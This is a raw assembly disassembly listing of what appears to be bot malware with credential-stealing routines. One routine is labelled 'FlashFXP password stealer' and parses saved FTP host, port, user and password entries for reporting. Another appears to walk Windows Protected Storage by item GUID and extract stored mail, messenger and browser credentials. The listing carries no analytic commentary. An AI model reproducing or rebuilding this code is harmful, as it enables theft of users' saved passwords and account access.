		and	[ebp+var_334], 0
		mov	al, [ebp+var_190]
		mov	[ebp+var_330], al
		and	[ebp+var_190], 0
		push	offset aRb	; "rb"
		lea	eax, [ebp+var_180]
		push	eax
		call	sub_416B88	; fopen
		pop	ecx
		pop	ecx
		mov	[ebp+var_3C4], eax
		cmp	[ebp+var_3C4], 0
		jnz	short loc_414ACF
		jmp	loc_414EAA
; ---------------------------------------------------------------------------


loc_414ACF:				; CODE XREF: sub_414A1E+AAj
		push	2
		push	0
		push	[ebp+var_3C4]
		call	sub_416B96	; fseek
		add	esp, 0Ch
		push	[ebp+var_3C4]
		call	sub_416B76	; ftell
		pop	ecx
		mov	[ebp+var_3C0], eax
		cmp	[ebp+var_3C0], 100000h
		jnb	short loc_414B0D
		mov	eax, [ebp+var_3C0]
		mov	[ebp+var_5E0], eax
		jmp	short loc_414B17
; ---------------------------------------------------------------------------


loc_414B0D:				; CODE XREF: sub_414A1E+DFj
		mov	[ebp+var_5E0], 100000h


loc_414B17:				; CODE XREF: sub_414A1E+EDj
		mov	eax, [ebp+var_5E0]
		mov	[ebp+var_3C0], eax
		push	0
		push	0
		push	[ebp+var_3C4]
		call	sub_416B96	; fseek
		add	esp, 0Ch
		mov	eax, [ebp+var_3C0]
		inc	eax
		push	eax
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_3BC], eax
		cmp	[ebp+var_3BC], 0
		jnz	short loc_414B63
		push	[ebp+var_3C4]
		call	sub_416B82	; fclose
		pop	ecx
		jmp	loc_414EA8
; ---------------------------------------------------------------------------


loc_414B63:				; CODE XREF: sub_414A1E+132j
		push	[ebp+var_3C4]
		push	[ebp+var_3C0]
		push	1
		push	[ebp+var_3BC]
		call	sub_416B90	; fread
		add	esp, 10h
		push	[ebp+var_3C4]
		call	sub_416B82	; fclose
		pop	ecx
		mov	eax, [ebp+var_3BC]
		add	eax, [ebp+var_3C0]
		and	byte ptr [eax],	0
		mov	eax, [ebp+var_3BC]
		mov	[ebp+var_3B8], eax


loc_414BA6:				; CODE XREF: sub_414A1E+428j
		push	offset asc_41D300 ; "\r\n\r\n["
		push	[ebp+var_3B8]
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		mov	[ebp+var_5DC], eax
		mov	eax, [ebp+var_3B8]
		mov	[ebp+var_5D0], eax
		push	offset aIp	; "\r\nIP="
		push	[ebp+var_3B8]
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		mov	[ebp+var_5C8], eax
		push	offset aPort	; "\r\nPort="
		push	[ebp+var_3B8]
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		mov	[ebp+var_5D8], eax
		push	offset aUser	; "\r\nUser="
		push	[ebp+var_3B8]
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		mov	[ebp+var_5CC], eax
		push	offset aPass	; "\r\nPass="
		push	[ebp+var_3B8]
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		mov	[ebp+var_5D4], eax
		cmp	[ebp+var_5C8], 0
		jz	loc_414E13
		cmp	[ebp+var_5DC], 0
		jz	short loc_414C52
		mov	eax, [ebp+var_5C8]
		cmp	eax, [ebp+var_5DC]
		jnb	loc_414E13


loc_414C52:				; CODE XREF: sub_414A1E+220j
		cmp	[ebp+var_5D8], 0
		jz	loc_414E13
		cmp	[ebp+var_5DC], 0
		jz	short loc_414C7A
		mov	eax, [ebp+var_5D8]
		cmp	eax, [ebp+var_5DC]
		jnb	loc_414E13


loc_414C7A:				; CODE XREF: sub_414A1E+248j
		cmp	[ebp+var_5CC], 0
		jz	loc_414E13
		cmp	[ebp+var_5DC], 0
		jz	short loc_414CA2
		mov	eax, [ebp+var_5CC]
		cmp	eax, [ebp+var_5DC]
		jnb	loc_414E13


loc_414CA2:				; CODE XREF: sub_414A1E+270j
		cmp	[ebp+var_5D4], 0
		jz	loc_414E13
		cmp	[ebp+var_5DC], 0
		jz	short loc_414CCA
		mov	eax, [ebp+var_5D4]
		cmp	eax, [ebp+var_5DC]
		jnb	loc_414E13


loc_414CCA:				; CODE XREF: sub_414A1E+298j
		and	[ebp+var_4C4], 0
		mov	al, [ebp+var_4C4]
		mov	[ebp+var_3B4], al
		mov	al, [ebp+var_3B4]
		mov	[ebp+var_5C4], al
		mov	al, [ebp+var_5C4]
		mov	[ebp+var_444], al
		mov	al, [ebp+var_444]
		mov	[ebp+var_544], al
		lea	eax, [ebp+var_544]
		push	eax
		push	offset asc_41D2D4 ; "[%[^]]]\r\n"
		push	[ebp+var_5D0]
		call	sub_416BA2	; sscanf
		add	esp, 0Ch
		lea	eax, [ebp+var_444]
		push	eax
		push	offset aIp127s	; "\r\nIP=%127s\r\n"
		push	[ebp+var_5C8]
		call	sub_416BA2	; sscanf
		add	esp, 0Ch
		lea	eax, [ebp+var_5C4]
		push	eax
		push	offset aPort127s ; "\r\nPort=%127s\r\n"
		push	[ebp+var_5D8]
		call	sub_416BA2	; sscanf
		add	esp, 0Ch
		lea	eax, [ebp+var_3B4]
		push	eax
		push	offset aUser127s ; "\r\nUser=%127s\r\n"
		push	[ebp+var_5CC]
		call	sub_416BA2	; sscanf
		add	esp, 0Ch
		lea	eax, [ebp+var_4C4]
		push	eax
		push	offset aPass127s ; "\r\nPass=%127s\r\n"
		push	[ebp+var_5D4]
		call	sub_416BA2	; sscanf
		add	esp, 0Ch
		lea	eax, [ebp+var_4C4]
		push	eax
		lea	eax, [ebp+var_4C4]
		push	eax
		call	sub_4147E5
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_414DA1
		jmp	loc_414E4B
; ---------------------------------------------------------------------------


loc_414DA1:				; CODE XREF: sub_414A1E+37Cj
		mov	eax, [ebp+var_334]
		inc	eax
		mov	[ebp+var_334], eax
		push	3E8h
		call	ds:dword_41709C	; Sleep
		lea	eax, [ebp+var_544]
		push	eax
		lea	eax, [ebp+var_5C4]
		push	eax
		lea	eax, [ebp+var_444]
		push	eax
		lea	eax, [ebp+var_4C4]
		push	eax
		lea	eax, [ebp+var_3B4]
		push	eax
		push	[ebp+var_334]
		push	offset dword_41D268
		lea	eax, [ebp+var_328]
		push	eax
		call	sub_40D53F
		add	esp, 20h
		mov	eax, [ebp+var_32C]
		cmp	dword ptr [eax+4], 0
		jz	short loc_414E13
		push	[ebp+var_3BC]
		call	sub_416B4C	; free
		pop	ecx
		jmp	loc_414EA6
; ---------------------------------------------------------------------------


loc_414E13:				; CODE XREF: sub_414A1E+213j
					; sub_414A1E+22Ej ...
		mov	eax, [ebp+var_184]
		inc	eax
		mov	[ebp+var_184], eax
		mov	eax, [ebp+var_5DC]
		mov	[ebp+var_3B8], eax
		cmp	[ebp+var_3B8], 0
		jnz	short loc_414E37
		jmp	short loc_414E4B
; ---------------------------------------------------------------------------


loc_414E37:				; CODE XREF: sub_414A1E+415j
		mov	eax, [ebp+var_3B8]
		add	eax, 4
		mov	[ebp+var_3B8], eax
		jmp	loc_414BA6
; ---------------------------------------------------------------------------


loc_414E4B:				; CODE XREF: sub_414A1E+37Ej
					; sub_414A1E+417j
		push	[ebp+var_3BC]
		call	sub_416B4C	; free
		pop	ecx


loc_414E57:				; CODE XREF: sub_414A1E:loc_414EA6j
		mov	al, [ebp+var_330]
		mov	[ebp+var_190], al
		push	3E8h
		call	ds:dword_41709C	; Sleep
		push	[ebp+var_184]
		push	[ebp+var_334]
		mov	eax, [ebp+var_32C]
		push	dword ptr [eax]
		push	offset unk_41D22C
		lea	eax, [ebp+var_328]
		push	eax
		call	sub_40D53F
		add	esp, 14h


loc_414E96:				; CODE XREF: sub_414A1E:loc_414EA8j
					; sub_414A1E:loc_414EAAj
		push	[ebp+var_32C]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	short locret_414EAC
; ---------------------------------------------------------------------------


loc_414EA6:				; CODE XREF: sub_414A1E+3F0j
		jmp	short loc_414E57
; ---------------------------------------------------------------------------


loc_414EA8:				; CODE XREF: sub_414A1E+140j
		jmp	short loc_414E96
; ---------------------------------------------------------------------------


loc_414EAA:				; CODE XREF: sub_414A1E+ACj
		jmp	short loc_414E96
; ---------------------------------------------------------------------------

locret_414EAC:				; CODE XREF: sub_414A1E+48j
					; sub_414A1E+486j
		leave
		retn	4
sub_414A1E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414EB0	proc near		; CODE XREF: sub_40A9CF+769p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	1A7h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_414ECA
		jmp	short locret_414EF2
; ---------------------------------------------------------------------------


loc_414ECA:				; CODE XREF: sub_414EB0+16j
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	offset aFlashfxpPasswo ; "FlashFXP password stealer"
		push	0
		push	[ebp+var_4]
		push	offset sub_414A1E
		call	sub_4095A4
		add	esp, 10h

locret_414EF2:				; CODE XREF: sub_414EB0+18j
		leave
		retn
sub_414EB0	endp


; =============== S U B	R O U T	I N E =======================================



sub_414EF4	proc near		; DATA XREF: sub_415AF0+40o
		mov	eax, offset loc_416FDD
		call	sub_416E10
		sub	esp, 0FFCh
		push	esi
		push	edi
		push	1A7h
		push	dword ptr [ebp+8]
		lea	eax, [ebp-0BF0h]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	dword ptr [ebp+8]
		call	sub_416B4C	; free
		pop	ecx
		and	dword ptr [ebp-0A00h], 0
		and	dword ptr [ebp-4], 0
		cmp	dword ptr [ebp-0A00h], 0
		jz	short loc_414F4C
		mov	eax, [ebp-0A00h]
		mov	ecx, [ebp-0A00h]
		mov	ecx, [ecx]
		push	eax
		call	dword ptr [ecx+8]


loc_414F4C:				; CODE XREF: sub_414EF4+44j
		and	dword ptr [ebp-0A00h], 0
		push	0
		push	0
		push	0
		lea	eax, [ebp-0A00h]
		push	eax
		call	dword_41DE80
		mov	[ebp-0DF4h], eax
		cmp	dword ptr [ebp-0DF4h], 0
		jge	short loc_414FB2
		push	dword ptr [ebp-0BF0h]
		call	sub_409763
		pop	ecx
		and	dword ptr [ebp-0FD0h], 0
		or	dword ptr [ebp-4], 0FFFFFFFFh
		cmp	dword ptr [ebp-0A00h], 0
		jz	short loc_414FA7
		mov	eax, [ebp-0A00h]
		mov	ecx, [ebp-0A00h]
		mov	ecx, [ecx]
		push	eax
		call	dword ptr [ecx+8]


loc_414FA7:				; CODE XREF: sub_414EF4+9Fj
		mov	eax, [ebp-0FD0h]
		jmp	loc_415AE0
; ---------------------------------------------------------------------------


loc_414FB2:				; CODE XREF: sub_414EF4+7Fj
		and	dword ptr [ebp-10h], 0
		mov	byte ptr [ebp-4], 1
		cmp	dword ptr [ebp-10h], 0
		jz	short loc_414FCC
		mov	eax, [ebp-10h]
		mov	ecx, [ebp-10h]
		mov	ecx, [ecx]
		push	eax
		call	dword ptr [ecx+8]


loc_414FCC:				; CODE XREF: sub_414EF4+CAj
		and	dword ptr [ebp-10h], 0
		cmp	dword ptr [ebp-0A00h], 0
		jnz	short loc_414FE3
		push	80004003h
		call	sub_416E40


loc_414FE3:				; CODE XREF: sub_414EF4+E3j
		mov	eax, [ebp-0A00h]
		mov	[ebp-0FE0h], eax
		lea	eax, [ebp-10h]
		push	eax
		push	0
		push	0
		mov	eax, [ebp-0FE0h]
		mov	eax, [eax]
		push	dword ptr [ebp-0FE0h]
		call	dword ptr [eax+38h]
		mov	[ebp-0FDCh], eax
		cmp	dword ptr [ebp-0FDCh], 0
		jge	short loc_41502D
		push	offset dword_41D598
		push	dword ptr [ebp-0FE0h]
		push	dword ptr [ebp-0FDCh]
		call	sub_416E4E


loc_41502D:				; CODE XREF: sub_414EF4+121j
		mov	eax, [ebp-0FDCh]
		mov	[ebp-0DF4h], eax
		cmp	dword ptr [ebp-0DF4h], 0
		jge	short loc_415095
		push	dword ptr [ebp-0BF0h]
		call	sub_409763
		pop	ecx
		and	dword ptr [ebp-0FD4h], 0
		and	byte ptr [ebp-4], 0
		cmp	dword ptr [ebp-10h], 0
		jz	short loc_41506B
		mov	eax, [ebp-10h]
		mov	ecx, [ebp-10h]
		mov	ecx, [ecx]
		push	eax
		call	dword ptr [ecx+8]


loc_41506B:				; CODE XREF: sub_414EF4+169j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		cmp	dword ptr [ebp-0A00h], 0
		jz	short loc_41508A
		mov	eax, [ebp-0A00h]
		mov	ecx, [ebp-0A00h]
		mov	ecx, [ecx]
		push	eax
		call	dword ptr [ecx+8]


loc_41508A:				; CODE XREF: sub_414EF4+182j
		mov	eax, [ebp-0FD4h]
		jmp	loc_415AE0
; ---------------------------------------------------------------------------


loc_415095:				; CODE XREF: sub_414EF4+14Cj
		mov	eax, [ebp-0BF0h]
		push	dword ptr [eax]
		push	offset unk_41D564
		lea	eax, [ebp-0BECh]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		and	dword ptr [ebp-214h], 0
		mov	al, [ebp-0A54h]
		mov	[ebp-0A14h], al
		and	byte ptr [ebp-0A54h], 0


loc_4150CB:				; CODE XREF: sub_414EF4:loc_415A54j
		cmp	dword ptr [ebp-10h], 0
		jnz	short loc_4150DB
		push	80004003h
		call	sub_416E40


loc_4150DB:				; CODE XREF: sub_414EF4+1DBj
		push	0
		lea	eax, [ebp-0A10h]
		push	eax
		push	1
		mov	eax, [ebp-10h]
		mov	[ebp-1000h], eax
		mov	eax, [ebp-1000h]
		mov	eax, [eax]
		push	dword ptr [ebp-1000h]
		call	dword ptr [eax+0Ch]
		test	eax, eax
		jnz	loc_415A59
		mov	eax, [ebp-0BF0h]
		cmp	dword ptr [eax+4], 0
		jz	short loc_415119
		jmp	loc_415A59
; ---------------------------------------------------------------------------


loc_415119:				; CODE XREF: sub_414EF4+21Ej
		sub	esp, 10h
		lea	esi, [ebp-0A10h]
		mov	edi, esp
		movsd
		movsd
		movsd
		movsd
		push	offset asc_41D560 ; "%x"
		lea	eax, [ebp-0A48h]
		push	eax
		call	ds:dword_4171E0	; wsprintfA
		add	esp, 18h
		and	dword ptr [ebp-0DF8h], 0
		mov	byte ptr [ebp-4], 2
		cmp	dword ptr [ebp-0DF8h], 0
		jz	short loc_415163
		mov	eax, [ebp-0DF8h]
		mov	ecx, [ebp-0DF8h]
		mov	ecx, [ecx]
		push	eax
		call	dword ptr [ecx+8]


loc_415163:				; CODE XREF: sub_414EF4+25Bj
		and	dword ptr [ebp-0DF8h], 0
		cmp	dword ptr [ebp-0A00h], 0
		jnz	short loc_41517D
		push	80004003h
		call	sub_416E40


loc_41517D:				; CODE XREF: sub_414EF4+27Dj
		mov	eax, [ebp-0A00h]
		mov	[ebp-0FE8h], eax
		lea	eax, [ebp-0DF8h]
		push	eax
		push	0
		lea	eax, [ebp-0A10h]
		push	eax
		push	0
		mov	eax, [ebp-0FE8h]
		mov	eax, [eax]
		push	dword ptr [ebp-0FE8h]
		call	dword ptr [eax+3Ch]
		mov	[ebp-0FE4h], eax
		cmp	dword ptr [ebp-0FE4h], 0
		jge	short loc_4151D1
		push	offset dword_41D598
		push	dword ptr [ebp-0FE8h]
		push	dword ptr [ebp-0FE4h]
		call	sub_416E4E


loc_4151D1:				; CODE XREF: sub_414EF4+2C5j
		mov	eax, [ebp-0FE4h]
		mov	[ebp-0DF4h], eax


loc_4151DD:				; CODE XREF: sub_414EF4:loc_415A30j
		cmp	dword ptr [ebp-0DF8h], 0
		jnz	short loc_4151F0
		push	80004003h
		call	sub_416E40


loc_4151F0:				; CODE XREF: sub_414EF4+2F0j
		push	0
		lea	eax, [ebp-0E08h]
		push	eax
		push	1
		mov	eax, [ebp-0DF8h]
		mov	[ebp-1004h], eax
		mov	eax, [ebp-1004h]
		mov	eax, [eax]
		push	dword ptr [ebp-1004h]
		call	dword ptr [eax+0Ch]
		test	eax, eax
		jnz	loc_415A35
		and	dword ptr [ebp-0E14h], 0
		mov	byte ptr [ebp-4], 3
		cmp	dword ptr [ebp-0E14h], 0
		jz	short loc_415246
		mov	eax, [ebp-0E14h]
		mov	ecx, [ebp-0E14h]
		mov	ecx, [ecx]
		push	eax
		call	dword ptr [ecx+8]


loc_415246:				; CODE XREF: sub_414EF4+33Ej
		and	dword ptr [ebp-0E14h], 0
		cmp	dword ptr [ebp-0A00h], 0
		jnz	short loc_415260
		push	80004003h
		call	sub_416E40


loc_415260:				; CODE XREF: sub_414EF4+360j
		mov	eax, [ebp-0A00h]
		mov	[ebp-0FF0h], eax
		lea	eax, [ebp-0E14h]
		push	eax
		push	0
		lea	eax, [ebp-0E08h]
		push	eax
		lea	eax, [ebp-0A10h]
		push	eax
		push	0
		mov	eax, [ebp-0FF0h]
		mov	eax, [eax]
		push	dword ptr [ebp-0FF0h]
		call	dword ptr [eax+54h]
		mov	[ebp-0FECh], eax
		cmp	dword ptr [ebp-0FECh], 0
		jge	short loc_4152BB
		push	offset dword_41D598
		push	dword ptr [ebp-0FF0h]
		push	dword ptr [ebp-0FECh]
		call	sub_416E4E


loc_4152BB:				; CODE XREF: sub_414EF4+3AFj
		mov	eax, [ebp-0FECh]
		mov	[ebp-0E10h], eax


loc_4152C7:				; CODE XREF: sub_414EF4+B18j
		cmp	dword ptr [ebp-0E14h], 0
		jnz	short loc_4152DA
		push	80004003h
		call	sub_416E40


loc_4152DA:				; CODE XREF: sub_414EF4+3DAj
		push	0
		lea	eax, [ebp-0E0Ch]
		push	eax
		push	1
		mov	eax, [ebp-0E14h]
		mov	[ebp-1008h], eax
		mov	eax, [ebp-1008h]
		mov	eax, [eax]
		push	dword ptr [ebp-1008h]
		call	dword ptr [eax+0Ch]
		test	eax, eax
		jnz	loc_415A11
		push	dword ptr [ebp-0E0Ch]
		push	offset aWs	; "%ws"
		lea	eax, [ebp-210h]
		push	eax
		call	ds:dword_4171E0	; wsprintfA
		add	esp, 0Ch
		and	dword ptr [ebp-0E18h], 0
		and	dword ptr [ebp-0EE8h], 0
		and	dword ptr [ebp-0EE4h], 0
		cmp	dword ptr [ebp-0A00h], 0
		jnz	short loc_41534D
		push	80004003h
		call	sub_416E40


loc_41534D:				; CODE XREF: sub_414EF4+44Dj
		mov	eax, [ebp-0E0Ch]


loc_415353:				; DATA XREF: .data:off_419100o
		mov	[ebp-0FFCh], eax
		mov	eax, [ebp-0A00h]
		mov	[ebp-0FF8h], eax
		push	0
		push	dword ptr [ebp-0EE4h]
		lea	eax, [ebp-0EE8h]
		push	eax
		lea	eax, [ebp-0E18h]
		push	eax
		push	dword ptr [ebp-0FFCh]
		lea	eax, [ebp-0E08h]
		push	eax
		lea	eax, [ebp-0A10h]
		push	eax
		push	0
		mov	eax, [ebp-0FF8h]
		mov	eax, [eax]
		push	dword ptr [ebp-0FF8h]
		call	dword ptr [eax+44h]
		mov	[ebp-0FF4h], eax
		cmp	dword ptr [ebp-0FF4h], 0
		jge	short loc_4153C7
		push	offset dword_41D598
		push	dword ptr [ebp-0FF8h]
		push	dword ptr [ebp-0FF4h]
		call	sub_416E4E


loc_4153C7:				; CODE XREF: sub_414EF4+4BBj
		mov	eax, [ebp-0FF4h]
		mov	[ebp-0E10h], eax
		push	dword ptr [ebp-0EE8h]
		call	sub_416B40	; strlen
		pop	ecx
		mov	ecx, [ebp-0E18h]
		dec	ecx
		cmp	eax, ecx
		jnb	loc_415477
		and	dword ptr [ebp-0EECh], 0
		and	dword ptr [ebp-0EF0h], 0
		jmp	short loc_41540C
; ---------------------------------------------------------------------------


loc_4153FE:				; CODE XREF: sub_414EF4+571j
		mov	eax, [ebp-0EF0h]
		inc	eax
		inc	eax
		mov	[ebp-0EF0h], eax


loc_41540C:				; CODE XREF: sub_414EF4+508j
		mov	eax, [ebp-0EF0h]
		cmp	eax, [ebp-0E18h]
		jnb	short loc_415467
		mov	eax, [ebp-0EE8h]
		add	eax, [ebp-0EF0h]
		movzx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_41543D
		mov	eax, [ebp-0EECh]
		mov	byte ptr [ebp+eax-9FCh], 2Ch
		jmp	short loc_415458
; ---------------------------------------------------------------------------


loc_41543D:				; CODE XREF: sub_414EF4+537j
		mov	eax, [ebp-0EE8h]
		add	eax, [ebp-0EF0h]
		mov	ecx, [ebp-0EECh]
		mov	al, [eax]
		mov	[ebp+ecx-9FCh],	al


loc_415458:				; CODE XREF: sub_414EF4+547j
		mov	eax, [ebp-0EECh]
		inc	eax
		mov	[ebp-0EECh], eax
		jmp	short loc_4153FE
; ---------------------------------------------------------------------------


loc_415467:				; CODE XREF: sub_414EF4+524j
		mov	eax, [ebp-0EECh]
		and	byte ptr [ebp+eax-9FDh], 0
		jmp	short loc_415492
; ---------------------------------------------------------------------------


loc_415477:				; CODE XREF: sub_414EF4+4F4j
		push	dword ptr [ebp-0EE8h]
		push	offset aS	; "%s"
		lea	eax, [ebp-9FCh]
		push	eax
		call	ds:dword_4171E0	; wsprintfA
		add	esp, 0Ch


loc_415492:				; CODE XREF: sub_414EF4+581j
		push	offset byte_41DE30
		lea	eax, [ebp-7FCh]
		push	eax
		call	ds:dword_4170FC	; lstrcpyA
		push	offset byte_41DE30
		lea	eax, [ebp-0DF0h]
		push	eax
		call	ds:dword_4170FC	; lstrcpyA
		push	offset a220d5cc1 ; "220d5cc1"
		lea	eax, [ebp-0A48h]
		push	eax
		call	ds:dword_417108	; lstrcmpA
		test	eax, eax
		jnz	short loc_41550C
		mov	eax, [ebp-214h]
		inc	eax
		mov	[ebp-214h], eax
		movsx	eax, byte ptr [ebp-0A57h]
		test	eax, eax
		jnz	short loc_41550C
		lea	eax, [ebp-9FCh]
		push	eax
		lea	eax, [ebp-210h]
		push	eax
		push	dword ptr [ebp-214h]
		push	offset dword_41D510
		lea	eax, [ebp-0BECh]
		push	eax
		call	sub_40D53F
		add	esp, 14h


loc_41550C:				; CODE XREF: sub_414EF4+5D6j
					; sub_414EF4+5EEj
		push	offset a5e7e8100 ; "5e7e8100"
		lea	eax, [ebp-0A48h]
		push	eax
		call	ds:dword_417108	; lstrcmpA
		test	eax, eax
		jnz	loc_4155CE
		push	offset byte_41DE30
		lea	eax, [ebp-0EE0h]
		push	eax
		call	ds:dword_4170FC	; lstrcpyA
		push	offset asc_4184FC ; ":"
		lea	eax, [ebp-9FCh]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_415587
		push	offset asc_4184FC ; ":"
		lea	eax, [ebp-9FCh]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		inc	eax
		push	eax
		lea	eax, [ebp-0EE0h]
		push	eax
		call	ds:dword_4170FC	; lstrcpyA
		push	offset asc_4184FC ; ":"
		lea	eax, [ebp-9FCh]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		and	byte ptr [eax],	0


loc_415587:				; CODE XREF: sub_414EF4+659j
		mov	eax, [ebp-214h]
		inc	eax
		mov	[ebp-214h], eax
		push	3E8h
		call	ds:dword_41709C	; Sleep
		lea	eax, [ebp-0EE0h]
		push	eax
		lea	eax, [ebp-9FCh]
		push	eax
		lea	eax, [ebp-210h]
		push	eax
		push	dword ptr [ebp-214h]
		push	offset dword_41D4AC
		lea	eax, [ebp-0BECh]
		push	eax
		call	sub_40D53F
		add	esp, 18h


loc_4155CE:				; CODE XREF: sub_414EF4+62Cj
		push	offset aB9819c52 ; "b9819c52"
		lea	eax, [ebp-0A48h]
		push	eax
		call	ds:dword_417108	; lstrcmpA
		test	eax, eax
		jnz	loc_415842
		and	dword ptr [ebp-0FC8h], 0
		mov	dword ptr [ebp-0EFCh], 1
		and	dword ptr [ebp-0FCCh], 0
		jmp	short loc_415610
; ---------------------------------------------------------------------------


loc_415602:				; CODE XREF: sub_414EF4:loc_4156CFj
		mov	eax, [ebp-0FCCh]
		inc	eax
		inc	eax
		mov	[ebp-0FCCh], eax


loc_415610:				; CODE XREF: sub_414EF4+70Cj
		mov	eax, [ebp-0FCCh]
		cmp	eax, [ebp-0E18h]
		jnb	loc_4156D4
		mov	eax, [ebp-0EE8h]
		add	eax, [ebp-0FCCh]
		movzx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_415652
		mov	eax, [ebp-0FC8h]
		mov	byte ptr [ebp+eax-9FCh], 2Ch
		mov	eax, [ebp-0FC8h]
		inc	eax
		mov	[ebp-0FC8h], eax
		jmp	short loc_4156CF
; ---------------------------------------------------------------------------


loc_415652:				; CODE XREF: sub_414EF4+73Fj
		mov	eax, [ebp-0EE8h]
		add	eax, [ebp-0FCCh]
		mov	al, [eax]
		push	eax
		call	ds:dword_4171DC	; IsCharAlphaNumericA
		test	eax, eax
		jnz	short loc_4156A7
		mov	eax, [ebp-0EE8h]
		add	eax, [ebp-0FCCh]
		movzx	eax, byte ptr [eax]
		cmp	eax, 40h
		jz	short loc_4156A7
		mov	eax, [ebp-0EE8h]
		add	eax, [ebp-0FCCh]
		movzx	eax, byte ptr [eax]
		cmp	eax, 2Eh
		jz	short loc_4156A7
		mov	eax, [ebp-0EE8h]
		add	eax, [ebp-0FCCh]
		movzx	eax, byte ptr [eax]
		cmp	eax, 5Fh
		jnz	short loc_4156CF


loc_4156A7:				; CODE XREF: sub_414EF4+775j
					; sub_414EF4+789j ...
		mov	eax, [ebp-0EE8h]
		add	eax, [ebp-0FCCh]
		mov	ecx, [ebp-0FC8h]
		mov	al, [eax]
		mov	[ebp+ecx-9FCh],	al
		mov	eax, [ebp-0FC8h]
		inc	eax
		mov	[ebp-0FC8h], eax


loc_4156CF:				; CODE XREF: sub_414EF4+75Cj
					; sub_414EF4+7B1j
		jmp	loc_415602
; ---------------------------------------------------------------------------


loc_4156D4:				; CODE XREF: sub_414EF4+728j
		mov	eax, [ebp-0FC8h]
		and	byte ptr [ebp+eax-9FDh], 0
		lea	eax, [ebp-9FAh]
		mov	[ebp-0EF4h], eax
		and	dword ptr [ebp-0EF8h], 0
		jmp	short loc_415704
; ---------------------------------------------------------------------------


loc_4156F7:				; CODE XREF: sub_414EF4:loc_41583Dj
		mov	eax, [ebp-0EF8h]
		inc	eax
		mov	[ebp-0EF8h], eax


loc_415704:				; CODE XREF: sub_414EF4+801j
		mov	eax, [ebp-0EE8h]
		movzx	eax, byte ptr [eax+4]
		cmp	[ebp-0EF8h], eax
		jge	loc_415842
		mov	eax, [ebp-0EF4h]
		inc	eax
		push	eax
		lea	eax, [ebp-0FC4h]
		push	eax
		call	ds:dword_4170FC	; lstrcpyA
		push	offset dword_41D49C
		lea	eax, [ebp-0FC4h]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_41575C
		push	offset dword_41D49C
		lea	eax, [ebp-0FC4h]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		and	byte ptr [eax],	0


loc_41575C:				; CODE XREF: sub_414EF4+850j
		push	offset dword_41D49C
		mov	eax, [ebp-0EF4h]
		inc	eax
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_415798
		push	offset dword_41D49C
		mov	eax, [ebp-0EF4h]
		inc	eax
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		inc	eax
		inc	eax
		push	eax
		lea	eax, [ebp-0F60h]
		push	eax
		call	ds:dword_4170FC	; lstrcpyA


loc_415798:				; CODE XREF: sub_414EF4+87Ej
		push	offset dword_41D49C
		lea	eax, [ebp-0F60h]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_4157C5
		push	offset dword_41D49C
		lea	eax, [ebp-0F60h]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		and	byte ptr [eax],	0


loc_4157C5:				; CODE XREF: sub_414EF4+8B9j
		push	offset dword_41D49C
		mov	eax, [ebp-0EF4h]
		inc	eax
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		mov	esi, eax
		lea	eax, [ebp-0F60h]
		push	eax
		call	ds:dword_41703C	; lstrlenA
		lea	eax, [esi+eax+9]
		mov	[ebp-0EF4h], eax
		mov	eax, [ebp-214h]
		inc	eax
		mov	[ebp-214h], eax
		push	3E8h
		call	ds:dword_41709C	; Sleep
		movsx	eax, byte ptr [ebp-0A57h]
		test	eax, eax
		jnz	short loc_41583D
		lea	eax, [ebp-0F60h]
		push	eax
		lea	eax, [ebp-0FC4h]
		push	eax
		push	dword ptr [ebp-214h]
		push	offset dword_41D45C
		lea	eax, [ebp-0BECh]
		push	eax
		call	sub_40D53F
		add	esp, 14h


loc_41583D:				; CODE XREF: sub_414EF4+91Fj
		jmp	loc_4156F7
; ---------------------------------------------------------------------------


loc_415842:				; CODE XREF: sub_414EF4+6EEj
					; sub_414EF4+820j
		push	offset aE161255a ; "e161255a"
		lea	eax, [ebp-0A48h]
		push	eax
		call	ds:dword_417108	; lstrcmpA
		test	eax, eax
		jnz	loc_4159E0
		push	offset aStringindex ; "StringIndex"
		lea	eax, [ebp-210h]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_4159E0
		push	offset aString	; ":String"
		lea	eax, [ebp-210h]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_4158A4
		push	offset aString	; ":String"
		lea	eax, [ebp-210h]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		and	byte ptr [eax],	0


